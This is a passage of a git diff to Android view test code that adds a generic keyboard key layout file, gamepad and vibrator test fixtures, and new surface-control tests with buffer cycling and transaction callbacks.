+    va_start(args, format);
+    char *msg;
+    vasprintf(&msg, format, args);
+    va_end(args);
+
+    jclass exClass;
+    const char *className = "java/lang/AssertionError";
+    exClass = env->FindClass(className);
+    env->ThrowNew(exClass, msg);
+    free(msg);
+}
+
+#define ASSERT(condition, format, args...) \
+    if (!(condition)) {                    \
+        fail(env, format, ##args);         \
+        return;                            \
+    }
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 7f4264f..7743f05 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -223,5 +223,19 @@
         android:id="@+id/transform_matrix_view_2"
         android:layout_width="10px"
         android:layout_height="10px" />
+    <View
+        android:id="@+id/clip_to_outline_unset"
+        android:layout_width="10px"
+        android:layout_height="10px"/>
+    <View
+        android:id="@+id/clip_to_outline_false"
+        android:layout_width="10px"
+        android:layout_height="10px"
+        android:clipToOutline="false" />
+    <View
+        android:id="@+id/clip_to_outline_true"
+        android:layout_width="10px"
+        android:layout_height="10px"
+        android:clipToOutline="true" />
 
 </LinearLayout>
diff --git a/tests/tests/view/res/raw/Generic.kl b/tests/tests/view/res/raw/Generic.kl
new file mode 100644
index 0000000..7c28cbf
--- /dev/null
+++ b/tests/tests/view/res/raw/Generic.kl
@@ -0,0 +1,447 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# Generic key layout file for full alphabetic US English PC style external keyboards.
+#
+# This file is intentionally very generic and is intended to support a broad range of keyboards.
+# Do not edit the generic key layout to support a specific keyboard; instead, create
+# a new key layout file with the required keyboard configuration.
+#
+
+key 1     ESCAPE
+key 2     1
+key 3     2
+key 4     3
+key 5     4
+key 6     5
+key 7     6
+key 8     7
+key 9     8
+key 10    9
+key 11    0
+key 12    MINUS
+key 13    EQUALS
+key 14    DEL
+key 15    TAB
+key 16    Q
+key 17    W
+key 18    E
+key 19    R
+key 20    T
+key 21    Y
+key 22    U
+key 23    I
+key 24    O
+key 25    P
+key 26    LEFT_BRACKET
+key 27    RIGHT_BRACKET
+key 28    ENTER
+key 29    CTRL_LEFT
+key 30    A
+key 31    S
+key 32    D
+key 33    F
+key 34    G
+key 35    H
+key 36    J
+key 37    K
+key 38    L
+key 39    SEMICOLON
+key 40    APOSTROPHE
+key 41    GRAVE
+key 42    SHIFT_LEFT
+key 43    BACKSLASH
+key 44    Z
+key 45    X
+key 46    C
+key 47    V
+key 48    B
+key 49    N
+key 50    M
+key 51    COMMA
+key 52    PERIOD
+key 53    SLASH
+key 54    SHIFT_RIGHT
+key 55    NUMPAD_MULTIPLY
+key 56    ALT_LEFT
+key 57    SPACE
+key 58    CAPS_LOCK
+key 59    F1
+key 60    F2
+key 61    F3
+key 62    F4
+key 63    F5
+key 64    F6
+key 65    F7
+key 66    F8
+key 67    F9
+key 68    F10
+key 69    NUM_LOCK
+key 70    SCROLL_LOCK
+key 71    NUMPAD_7
+key 72    NUMPAD_8
+key 73    NUMPAD_9
+key 74    NUMPAD_SUBTRACT
+key 75    NUMPAD_4
+key 76    NUMPAD_5
+key 77    NUMPAD_6
+key 78    NUMPAD_ADD
+key 79    NUMPAD_1
+key 80    NUMPAD_2
+key 81    NUMPAD_3
+key 82    NUMPAD_0
+key 83    NUMPAD_DOT
+# key 84 (undefined)
+key 85    ZENKAKU_HANKAKU
+key 86    BACKSLASH
+key 87    F11
+key 88    F12
+key 89    RO
+# key 90 "KEY_KATAKANA"
+# key 91 "KEY_HIRAGANA"
+key 92    HENKAN
+key 93    KATAKANA_HIRAGANA
+key 94    MUHENKAN
+key 95    NUMPAD_COMMA
+key 96    NUMPAD_ENTER
+key 97    CTRL_RIGHT
+key 98    NUMPAD_DIVIDE
+key 99    SYSRQ
+key 100   ALT_RIGHT
+# key 101 "KEY_LINEFEED"
+key 102   MOVE_HOME
+key 103   DPAD_UP
+key 104   PAGE_UP
+key 105   DPAD_LEFT
+key 106   DPAD_RIGHT
+key 107   MOVE_END
+key 108   DPAD_DOWN
+key 109   PAGE_DOWN
+key 110   INSERT
+key 111   FORWARD_DEL
+# key 112 "KEY_MACRO"
+key 113   VOLUME_MUTE
+key 114   VOLUME_DOWN
+key 115   VOLUME_UP
+key 116   POWER
+key 117   NUMPAD_EQUALS
+# key 118 "KEY_KPPLUSMINUS"
+key 119   BREAK
+# key 120 (undefined)
+key 121   NUMPAD_COMMA
+key 122   KANA
+key 123   EISU
+key 124   YEN
+key 125   META_LEFT
+key 126   META_RIGHT
+key 127   MENU
+key 128   MEDIA_STOP
+# key 129 "KEY_AGAIN"
+# key 130 "KEY_PROPS"
+# key 131 "KEY_UNDO"
+# key 132 "KEY_FRONT"
+key 133   COPY
+# key 134 "KEY_OPEN"
+key 135   PASTE
+# key 136 "KEY_FIND"
+key 137   CUT
+# key 138 "KEY_HELP"
+key 139   MENU
+key 140   CALCULATOR
+# key 141 "KEY_SETUP"
+key 142   SLEEP
+key 143   WAKEUP
+# key 144 "KEY_FILE"
+# key 145 "KEY_SENDFILE"
+# key 146 "KEY_DELETEFILE"
+# key 147 "KEY_XFER"
+# key 148 "KEY_PROG1"
+# key 149 "KEY_PROG2"
+key 150   EXPLORER
+# key 151 "KEY_MSDOS"
+key 152   POWER
+# key 153 "KEY_DIRECTION"
+# key 154 "KEY_CYCLEWINDOWS"
+key 155   ENVELOPE
+key 156   BOOKMARK
+# key 157 "KEY_COMPUTER"
+key 158   BACK
+key 159   FORWARD
+key 160   MEDIA_CLOSE
+key 161   MEDIA_EJECT
+key 162   MEDIA_EJECT
+key 163   MEDIA_NEXT
+key 164   MEDIA_PLAY_PAUSE
+key 165   MEDIA_PREVIOUS
+key 166   MEDIA_STOP
+key 167   MEDIA_RECORD
+key 168   MEDIA_REWIND
+key 169   CALL
+# key 170 "KEY_ISO"
+key 171   MUSIC
+key 172   HOME
+key 173   REFRESH
+# key 174 "KEY_EXIT"
+# key 175 "KEY_MOVE"
+# key 176 "KEY_EDIT"
+key 177   PAGE_UP
+key 178   PAGE_DOWN
+key 179   NUMPAD_LEFT_PAREN
+key 180   NUMPAD_RIGHT_PAREN
+# key 181 "KEY_NEW"
+# key 182 "KEY_REDO"
+# key 183   F13
+# key 184   F14
+# key 185   F15
+# key 186   F16
+# key 187   F17
+# key 188   F18
+# key 189   F19
+# key 190   F20
+# key 191   F21
+# key 192   F22
+# key 193   F23
+# key 194   F24
+# key 195 (undefined)
+# key 196 (undefined)
+# key 197 (undefined)
+# key 198 (undefined)
+# key 199 (undefined)
+key 200   MEDIA_PLAY
+key 201   MEDIA_PAUSE
+# key 202 "KEY_PROG3"
+# key 203 "KEY_PROG4"
+# key 204 (undefined)
+# key 205 "KEY_SUSPEND"
+# key 206 "KEY_CLOSE"
+key 207   MEDIA_PLAY
+key 208   MEDIA_FAST_FORWARD
+# key 209 "KEY_BASSBOOST"
+# key 210 "KEY_PRINT"
+# key 211 "KEY_HP"
+key 212   CAMERA
+key 213   MUSIC
+# key 214 "KEY_QUESTION"
+key 215   ENVELOPE
+# key 216 "KEY_CHAT"
+key 217   SEARCH
+# key 218 "KEY_CONNECT"
+# key 219 "KEY_FINANCE"
+# key 220 "KEY_SPORT"
+# key 221 "KEY_SHOP"
+# key 222 "KEY_ALTERASE"
+# key 223 "KEY_CANCEL"
+key 224   BRIGHTNESS_DOWN
+key 225   BRIGHTNESS_UP
+key 226   HEADSETHOOK
+
+key 256   BUTTON_1
+key 257   BUTTON_2
+key 258   BUTTON_3
+key 259   BUTTON_4
+key 260   BUTTON_5
+key 261   BUTTON_6
+key 262   BUTTON_7
+key 263   BUTTON_8
+key 264   BUTTON_9
+key 265   BUTTON_10
+key 266   BUTTON_11
+key 267   BUTTON_12
+key 268   BUTTON_13
+key 269   BUTTON_14
+key 270   BUTTON_15
+key 271   BUTTON_16
+
+key 288   BUTTON_1
+key 289   BUTTON_2
+key 290   BUTTON_3
+key 291   BUTTON_4
+key 292   BUTTON_5
+key 293   BUTTON_6
+key 294   BUTTON_7
+key 295   BUTTON_8
+key 296   BUTTON_9
+key 297   BUTTON_10
+key 298   BUTTON_11
+key 299   BUTTON_12
+key 300   BUTTON_13
+key 301   BUTTON_14
+key 302   BUTTON_15
+key 303   BUTTON_16
+
+
+key 304   BUTTON_A
+key 305   BUTTON_B
+key 306   BUTTON_C
+key 307   BUTTON_X
+key 308   BUTTON_Y
+key 309   BUTTON_Z
+key 310   BUTTON_L1
+key 311   BUTTON_R1
+key 312   BUTTON_L2
+key 313   BUTTON_R2
+key 314   BUTTON_SELECT
+key 315   BUTTON_START
+key 316   BUTTON_MODE
+key 317   BUTTON_THUMBL
+key 318   BUTTON_THUMBR
+
+
+# key 352 "KEY_OK"
+key 353   DPAD_CENTER
+# key 354 "KEY_GOTO"
+# key 355 "KEY_CLEAR"
+# key 356 "KEY_POWER2"
+# key 357 "KEY_OPTION"
+# key 358 "KEY_INFO"
+# key 359 "KEY_TIME"
+# key 360 "KEY_VENDOR"
+# key 361 "KEY_ARCHIVE"
+key 362   GUIDE
+# key 363 "KEY_CHANNEL"
+# key 364 "KEY_FAVORITES"
+# key 365 "KEY_EPG"
+key 366   DVR
+# key 367 "KEY_MHP"
+# key 368 "KEY_LANGUAGE"
+# key 369 "KEY_TITLE"
+key 370   CAPTIONS
+# key 371 "KEY_ANGLE"
+# key 372 "KEY_ZOOM"
+# key 373 "KEY_MODE"
+# key 374 "KEY_KEYBOARD"
+# key 375 "KEY_SCREEN"
+# key 376 "KEY_PC"
+key 377   TV
+# key 378 "KEY_TV2"
+# key 379 "KEY_VCR"
+# key 380 "KEY_VCR2"
+# key 381 "KEY_SAT"
+# key 382 "KEY_SAT2"
+# key 383 "KEY_CD"
+# key 384 "KEY_TAPE"
+# key 385 "KEY_RADIO"
+# key 386 "KEY_TUNER"
+# key 387 "KEY_PLAYER"
+# key 388 "KEY_TEXT"
+# key 389 "KEY_DVD"
+# key 390 "KEY_AUX"
+# key 391 "KEY_MP3"
+# key 392 "KEY_AUDIO"
+# key 393 "KEY_VIDEO"
+# key 394 "KEY_DIRECTORY"
+# key 395 "KEY_LIST"
+# key 396 "KEY_MEMO"
+key 397   CALENDAR
+key 398   PROG_RED
+key 399   PROG_GREEN
+key 400   PROG_YELLOW
+key 401   PROG_BLUE
+key 402   CHANNEL_UP
+key 403   CHANNEL_DOWN
+# key 404 "KEY_FIRST"
+key 405   LAST_CHANNEL
+# key 406 "KEY_AB"
+# key 407 "KEY_NEXT"
+# key 408 "KEY_RESTART"
+# key 409 "KEY_SLOW"
+# key 410 "KEY_SHUFFLE"
+# key 411 "KEY_BREAK"
+# key 412 "KEY_PREVIOUS"
+# key 413 "KEY_DIGITS"
+# key 414 "KEY_TEEN"
+# key 415 "KEY_TWEN"
+
+key 429   CONTACTS
+
+# key 448 "KEY_DEL_EOL"
+# key 449 "KEY_DEL_EOS"
+# key 450 "KEY_INS_LINE"
+# key 451 "KEY_DEL_LINE"
+
+
+key 464   FUNCTION
+key 465   ESCAPE            FUNCTION
+key 466   F1                FUNCTION
+key 467   F2                FUNCTION
+key 468   F3                FUNCTION
+key 469   F4                FUNCTION
+key 470   F5                FUNCTION
+key 471   F6                FUNCTION
+key 472   F7                FUNCTION
+key 473   F8                FUNCTION
+key 474   F9                FUNCTION
+key 475   F10               FUNCTION
+key 476   F11               FUNCTION
+key 477   F12               FUNCTION
+key 478   1                 FUNCTION
+key 479   2                 FUNCTION
+key 480   D                 FUNCTION
+key 481   E                 FUNCTION
+key 482   F                 FUNCTION
+key 483   S                 FUNCTION
+key 484   B                 FUNCTION
+
+
+# key 497 KEY_BRL_DOT1
+# key 498 KEY_BRL_DOT2
+# key 499 KEY_BRL_DOT3
+# key 500 KEY_BRL_DOT4
+# key 501 KEY_BRL_DOT5
+# key 502 KEY_BRL_DOT6
+# key 503 KEY_BRL_DOT7
+# key 504 KEY_BRL_DOT8
+
+key 522   STAR
+key 523   POUND
+key 580   APP_SWITCH
+key 582   VOICE_ASSIST
+# Linux KEY_ASSISTANT
+key 583   ASSIST
+
+# Keys defined by HID usages
+key usage 0x0c0067 WINDOW
+key usage 0x0c006F BRIGHTNESS_UP
+key usage 0x0c0070 BRIGHTNESS_DOWN
+key usage 0x0c0173 MEDIA_AUDIO_TRACK
+
+# Joystick and game controller axes.
+# Axes that are not mapped will be assigned generic axis numbers by the input subsystem.
+axis 0x00 X
+axis 0x01 Y
+axis 0x02 Z
+axis 0x03 RX
+axis 0x04 RY
+axis 0x05 RZ
+axis 0x06 THROTTLE
+axis 0x07 RUDDER
+axis 0x08 WHEEL
+axis 0x09 GAS
+axis 0x0a BRAKE
+axis 0x10 HAT_X
+axis 0x11 HAT_Y
+
+# LEDs
+led 0x00 NUM_LOCK
+led 0x01 CAPS_LOCK
+led 0x02 SCROLL_LOCK
+led 0x03 COMPOSE
+led 0x04 KANA
+led 0x05 SLEEP
+led 0x06 SUSPEND
+led 0x07 MUTE
+led 0x08 MISC
+led 0x09 MAIL
+led 0x0a CHARGING
diff --git a/tests/tests/view/res/raw/gamepad_sensors_register.json b/tests/tests/view/res/raw/gamepad_sensors_register.json
new file mode 100644
index 0000000..abd0e5f
--- /dev/null
+++ b/tests/tests/view/res/raw/gamepad_sensors_register.json
@@ -0,0 +1,68 @@
+{
+    "id": 1,
+    "type": "uinput",
+    "command": "register",
+    "name": "Gamepad with Motion Sensors (USB Test)",
+    "vid": 0x054c,
+    "pid": 0x05c4,
+    "bus": "usb",
+    "configuration":[
+        {"type":100, "data":[1, 3, 4, 21]},  // UI_SET_EVBIT : EV_KEY EV_ABS EV_MSC and EV_FF
+        {"type":101, "data":[11, 2, 3, 4]},   // UI_SET_KEYBIT : KEY_0 KEY_1 KEY_2 KEY_3
+        {"type":107, "data":[80]},    //  UI_SET_FFBIT : FF_RUMBLE
+        {"type":110, "data":[6]},    //  UI_SET_PROP :  INPUT_PROP_ACCELEROMETER
+        {"type":104, "data":[5]},        // UI_SET_MSCBIT : MSC_TIMESTAMP
+        {"type":103, "data":[0, 1, 2, 3, 4, 5]}   // UI_SET_ABSBIT : ABS_X/Y/Z/RX/RY/RZ
+    ],
+    "ff_effects_max" : 1,
+    "abs_info": [
+        {"code":0, "info": {       // ABS_X
+            "value": 100,
+            "minimum": -32768,
+            "maximum": 32768,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 8192
+        }},
+        {"code":1, "info": {       // ABS_Y
+            "value": 100,
+            "minimum": -32768,
+            "maximum": 32768,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 8192
+        }},
+        {"code":2, "info": {       // ABS_Z
+            "value": 100,
+            "minimum": -32768,
+            "maximum": 32768,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 8192
+        }},
+        {"code":3, "info": {       // ABS_RX
+            "value": 100,
+            "minimum": -2097152,
+            "maximum": 2097152,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 1024
+        }},
+        {"code":4, "info": {       // ABS_RY
+            "value": 100,
+            "minimum": -2097152,
+            "maximum": 2097152,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 1024
+        }},
+        {"code":5, "info": {       // ABS_RZ
+            "value": 100,
+            "minimum": -2097152,
+            "maximum": 2097152,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 1024
+        }}
+    ]
+}
diff --git a/tests/tests/view/res/raw/google_gamepad_register.json b/tests/tests/view/res/raw/google_gamepad_register.json
new file mode 100644
index 0000000..6d398d0
--- /dev/null
+++ b/tests/tests/view/res/raw/google_gamepad_register.json
@@ -0,0 +1,15 @@
+{
+    "id": 1,
+    "type": "uinput",
+    "command": "register",
+    "name": "Gamepad FF (USB Test)",
+    "vid": 0x18d1,
+    "pid": 0xabcd,
+    "bus": "usb",
+    "configuration":[
+        {"type":100, "data":[1, 21]},  // UI_SET_EVBIT : EV_KEY and EV_FF
+        {"type":101, "data":[11, 2, 3, 4]},   // UI_SET_KEYBIT : KEY_0 KEY_1 KEY_2 KEY_3
+        {"type":107, "data":[80]}    //  UI_SET_FFBIT : FF_RUMBLE
+    ],
+    "ff_effects_max" : 1
+}
diff --git a/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json b/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json
new file mode 100644
index 0000000..3e3f9db
--- /dev/null
+++ b/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json
@@ -0,0 +1,21 @@
+[
+    {
+      "id": 1,
+      "durations" : [1000],
+      "amplitudes":
+        {
+            "0" : [192],
+            "1" : [192]
+        }
+    },
+
+    {
+        "id": 1,
+        "durations" : [2000, 2000, 2000, 2000, 2000],
+        "amplitudes":
+          {
+              "0" : [16, 32, 64, 128, 255],
+              "1" : [255, 128 ,32, 32, 64]
+          }
+    }
+]
diff --git a/tests/tests/view/res/raw/google_gamepad_vibratortests.json b/tests/tests/view/res/raw/google_gamepad_vibratortests.json
new file mode 100644
index 0000000..4f13fbf
--- /dev/null
+++ b/tests/tests/view/res/raw/google_gamepad_vibratortests.json
@@ -0,0 +1,14 @@
+[
+    {
+      "id": 1,
+      "durations" : [1000],
+      "amplitudes" : [192]
+    },
+
+    {
+      "id": 1,
+      "durations" : [2000, 2000, 2000, 2000, 2000],
+      "amplitudes" : [16, 32, 64, 128, 255]
+    }
+
+]
diff --git a/tests/tests/view/sdk28/Android.bp b/tests/tests/view/sdk28/Android.bp
index f005f3b..bc18f2a 100644
--- a/tests/tests/view/sdk28/Android.bp
+++ b/tests/tests/view/sdk28/Android.bp
@@ -43,6 +43,8 @@
         "src/**/*.java",
     ],
 
-    sdk_version: "28",
+    sdk_version: "30",
+    min_sdk_version: "28",
+    target_sdk_version: "28",
 
 }
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
index affc2ae..faf820c 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
@@ -16,13 +16,10 @@
 
 package android.view.cts;
 
-import static org.junit.Assert.assertTrue;
-
 import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
 
-import android.animation.ObjectAnimator;
-import android.animation.PropertyValuesHolder;
-import android.animation.ValueAnimator;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -30,10 +27,8 @@
 import android.util.Log;
 import android.view.Surface;
 import android.view.SurfaceHolder;
-import android.view.View;
-import android.view.animation.LinearInterpolator;
-import android.view.cts.surfacevalidator.AnimationFactory;
 import android.view.cts.surfacevalidator.CapturedActivity;
+import android.view.cts.surfacevalidator.MultiFramePixelChecker;
 import android.view.cts.surfacevalidator.PixelChecker;
 import android.view.cts.surfacevalidator.PixelColor;
 import android.view.cts.surfacevalidator.SurfaceControlTestCase;
@@ -51,6 +46,7 @@
 
 import java.util.HashSet;
 import java.util.Set;
+import java.util.concurrent.CountDownLatch;
 
 @LargeTest
 @RunWith(AndroidJUnit4.class)
@@ -59,13 +55,32 @@
         System.loadLibrary("ctsview_jni");
     }
 
+    public interface TransactionCompleteListener {
+        void onTransactionComplete(long latchTime);
+    }
+
+    private static class SyncTransactionCompleteListener implements TransactionCompleteListener {
+        private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+        @Override
+        public void onTransactionComplete(long latchTime) {
+            mCountDownLatch.countDown();
+        }
+
+        public void waitForTransactionComplete() {
+            try {
+                mCountDownLatch.await();
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
     private static final String TAG = ASurfaceControlTest.class.getSimpleName();
     private static final boolean DEBUG = false;
 
     private static final int DEFAULT_LAYOUT_WIDTH = 100;
     private static final int DEFAULT_LAYOUT_HEIGHT = 100;
-    private static final int DEFAULT_BUFFER_WIDTH = 640;
-    private static final int DEFAULT_BUFFER_HEIGHT = 480;
 
     @Rule
     public ActivityTestRule<CapturedActivity> mActivityRule =
@@ -80,6 +95,7 @@
     public void setup() {
         mActivity = mActivityRule.getActivity();
         mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
+        mActivity.setMinimumCaptureDurationMs(1000);
     }
 
     /**
@@ -89,6 +105,7 @@
     @After
     public void tearDown() throws UiObjectNotFoundException {
         mActivity.dismissPermissionDialog();
+        mActivity.restoreSettings();
     }
 
     ///////////////////////////////////////////////////////////////////////////
@@ -98,6 +115,51 @@
     private abstract class BasicSurfaceHolderCallback implements SurfaceHolder.Callback {
         private Set<Long> mSurfaceControls = new HashSet<Long>();
         private Set<Long> mBuffers = new HashSet<Long>();
+        private Set<BufferCycler> mBufferCyclers = new HashSet<>();
+
+        // Helper class to submit buffers as fast as possible. The thread submits a buffer,
+        // waits for the transaction complete callback, and then submits the next buffer.
+        class BufferCycler extends Thread {
+            private long mSurfaceControl;
+            private long[] mBuffers;
+            private volatile boolean mStop = false;
+            private int mFrameNumber = 0;
+
+            BufferCycler(long surfaceControl, long[] buffers) {
+                mSurfaceControl = surfaceControl;
+                mBuffers = buffers;
+            }
+
+            private long getNextBuffer() {
+                return mBuffers[mFrameNumber++ % mBuffers.length];
+            }
+
+            @Override
+            public void run() {
+                while (!mStop) {
+                    SyncTransactionCompleteListener listener =
+                            new SyncTransactionCompleteListener();
+                    // Send all buffers in batches so we can stuff the SurfaceFlinger transaction
+                    // queue.
+                    for (int i = 0; i < mBuffers.length; i++) {
+                        long surfaceTransaction = createSurfaceTransaction();
+                        setBuffer(mSurfaceControl, surfaceTransaction, getNextBuffer());
+                        if (i == 0) {
+                            setOnCompleteCallback(surfaceTransaction, listener);
+                        }
+                        applyAndDeleteSurfaceTransaction(surfaceTransaction);
+                    }
+
+                    // Wait for one of transactions to be applied before sending more transactions.
+                    listener.waitForTransactionComplete();
+                }
+            }
+
+            void end() {
+                mStop = true;
+            }
+        }
+
 
         @Override
         public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
@@ -108,6 +170,13 @@
 
         @Override
         public void surfaceDestroyed(SurfaceHolder holder) {
+            for (BufferCycler cycler: mBufferCyclers) {
+                cycler.end();
+                try {
+                    cycler.join();
+                } catch (InterruptedException e) {
+                }
+            }
             for (Long surfaceControl : mSurfaceControls) {
                 reparent(surfaceControl, 0);
                 nSurfaceControl_release(surfaceControl);
@@ -155,18 +224,24 @@
             return childSurfaceControl;
         }
 
-        public void setSolidBuffer(
+        public long setSolidBuffer(
                 long surfaceControl, long surfaceTransaction, int width, int height, int color) {
             long buffer = nSurfaceTransaction_setSolidBuffer(
                     surfaceControl, surfaceTransaction, width, height, color);
             assertTrue("failed to set buffer", buffer != 0);
             mBuffers.add(buffer);
+            return buffer;
         }
 
-        public void setSolidBuffer(long surfaceControl, int width, int height, int color) {
+        public long setSolidBuffer(long surfaceControl, int width, int height, int color) {
             long surfaceTransaction = createSurfaceTransaction();
-            setSolidBuffer(surfaceControl, surfaceTransaction, width, height, color);
+            long buffer = setSolidBuffer(surfaceControl, surfaceTransaction, width, height, color);
             applyAndDeleteSurfaceTransaction(surfaceTransaction);
+            return buffer;
+        }
+
+        public void setBuffer(long surfaceControl, long surfaceTransaction, long buffer) {
+            nSurfaceTransaction_setBuffer(surfaceControl, surfaceTransaction, buffer);
         }
 
         public void setQuadrantBuffer(long surfaceControl, long surfaceTransaction, int width,
@@ -209,9 +284,8 @@
         public void setGeometry(long surfaceControl, long surfaceTransaction, int srcLeft,
                 int srcTop, int srcRight, int srcBottom, int dstLeft, int dstTop, int dstRight,
                 int dstBottom, int transform) {
-            nSurfaceTransaction_setGeometry(
-                    surfaceControl, surfaceTransaction, srcLeft, srcTop, srcRight, srcBottom,
-                    dstLeft, dstTop, dstRight, dstBottom, transform);
+            nSurfaceTransaction_setGeometry(surfaceControl, surfaceTransaction, srcLeft, srcTop,
+                    srcRight, srcBottom, dstLeft, dstTop, dstRight, dstBottom, transform);
         }
 
         public void setGeometry(long surfaceControl, int srcLeft, int srcTop, int srcRight,
@@ -278,37 +352,37 @@
             setColor(surfaceControl, surfaceTransaction, red, green, blue, alpha);
             applyAndDeleteSurfaceTransaction(surfaceTransaction);
         }
+
+        public void setEnableBackPressure(long surfaceControl, boolean enableBackPressure) {
+            long surfaceTransaction = createSurfaceTransaction();
+            nSurfaceTransaction_setEnableBackPressure(surfaceControl, surfaceTransaction,
+                    enableBackPressure);
+            applyAndDeleteSurfaceTransaction(surfaceTransaction);
+        }
+
+        public void setOnCompleteCallback(long surfaceTransaction,
+                TransactionCompleteListener listener) {
+            nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction, listener);
+        }
+
+        public void addBufferCycler(long surfaceControl, long[] buffers) {
+            BufferCycler cycler = new BufferCycler(surfaceControl, buffers);
+            cycler.start();
+            mBufferCyclers.add(cycler);
+        }
+
     }
 
     ///////////////////////////////////////////////////////////////////////////
-    // AnimationFactories
-    ///////////////////////////////////////////////////////////////////////////
-
-    private static ValueAnimator makeInfinite(ValueAnimator a) {
-        a.setRepeatMode(ObjectAnimator.REVERSE);
-        a.setRepeatCount(ObjectAnimator.INFINITE);
-        a.setDuration(200);
-        a.setInterpolator(new LinearInterpolator());
-        return a;
-    }
-
-    private static AnimationFactory sTranslateAnimationFactory = view -> {
-        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.TRANSLATION_X, 10f, 30f);
-        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 10f, 30f);
-        return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
-    };
-
-    ///////////////////////////////////////////////////////////////////////////
     // Tests
     ///////////////////////////////////////////////////////////////////////////
 
     private void verifyTest(SurfaceHolder.Callback callback, PixelChecker pixelChecker)
                 throws Throwable {
-        mActivity.verifyTest(new SurfaceControlTestCase(callback, sTranslateAnimationFactory,
-                                                 pixelChecker,
-                                                 DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
-                                                 DEFAULT_BUFFER_WIDTH, DEFAULT_BUFFER_HEIGHT),
-                mName);
+        mActivity.verifyTest(
+                new SurfaceControlTestCase(callback, null, pixelChecker, DEFAULT_LAYOUT_WIDTH,
+                        DEFAULT_LAYOUT_HEIGHT, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
+                        false /* checkSurfaceViewBoundsOnly */), mName);
     }
 
     @Test
@@ -385,6 +459,29 @@
     }
 
     @Test
+    public void testSurfaceControl_acquire() throws Throwable {
+        verifyTest(
+                new BasicSurfaceHolderCallback() {
+                    @Override
+                    public void surfaceCreated(SurfaceHolder holder) {
+                        long surfaceControl = createFromWindow(holder.getSurface());
+                        // increment one refcount
+                        nSurfaceControl_acquire(surfaceControl);
+                        // decrement one refcount incremented from create call
+                        nSurfaceControl_release(surfaceControl);
+                        setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
+                                PixelColor.RED);
+                    }
+                },
+                new PixelChecker(PixelColor.RED) { //10000
+                    @Override
+                    public boolean checkPixels(int pixelCount, int width, int height) {
+                        return pixelCount > 9000 && pixelCount < 11000;
+                    }
+                });
+    }
+
+    @Test
     public void testSurfaceTransaction_setBuffer() throws Throwable {
         verifyTest(
                 new BasicSurfaceHolderCallback() {
@@ -549,7 +646,6 @@
 
                         setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
                                 PixelColor.RED);
-                        setGeometry(surfaceControl, 0, 0, 100, 100, 0, 0, 640, 480, 0);
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //10000
@@ -570,7 +666,7 @@
 
                         setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
                                 PixelColor.RED);
-                        setGeometry(surfaceControl, 0, 0, 100, 100, 64, 48, 320, 240, 0);
+                        setGeometry(surfaceControl, 0, 0, 100, 100, 10, 10, 50, 50, 0);
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //1600
@@ -592,7 +688,7 @@
 
                         setSolidBuffer(childSurfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED);
-                        setGeometry(childSurfaceControl, 0, 0, 100, 100, 64, 48, 320, 240, 0);
+                        setGeometry(childSurfaceControl, 0, 0, 100, 100, 10, 10, 50, 50, 0);
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //1600
@@ -613,7 +709,7 @@
 
                         setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
                                 PixelColor.RED);
-                        setGeometry(surfaceControl, 0, 0, 100, 100, -100, -100, 740, 580, 0);
+                        setGeometry(surfaceControl, 0, 0, 100, 100, -100, -100, 200, 200, 0);
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //10000
@@ -635,7 +731,7 @@
 
                         setSolidBuffer(childSurfaceControl, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED);
-                        setGeometry(childSurfaceControl, 0, 0, 100, 100, -100, -100, 740, 580, 0);
+                        setGeometry(childSurfaceControl, 0, 0, 100, 100, -100, -100, 200, 200, 0);
                     }
                 },
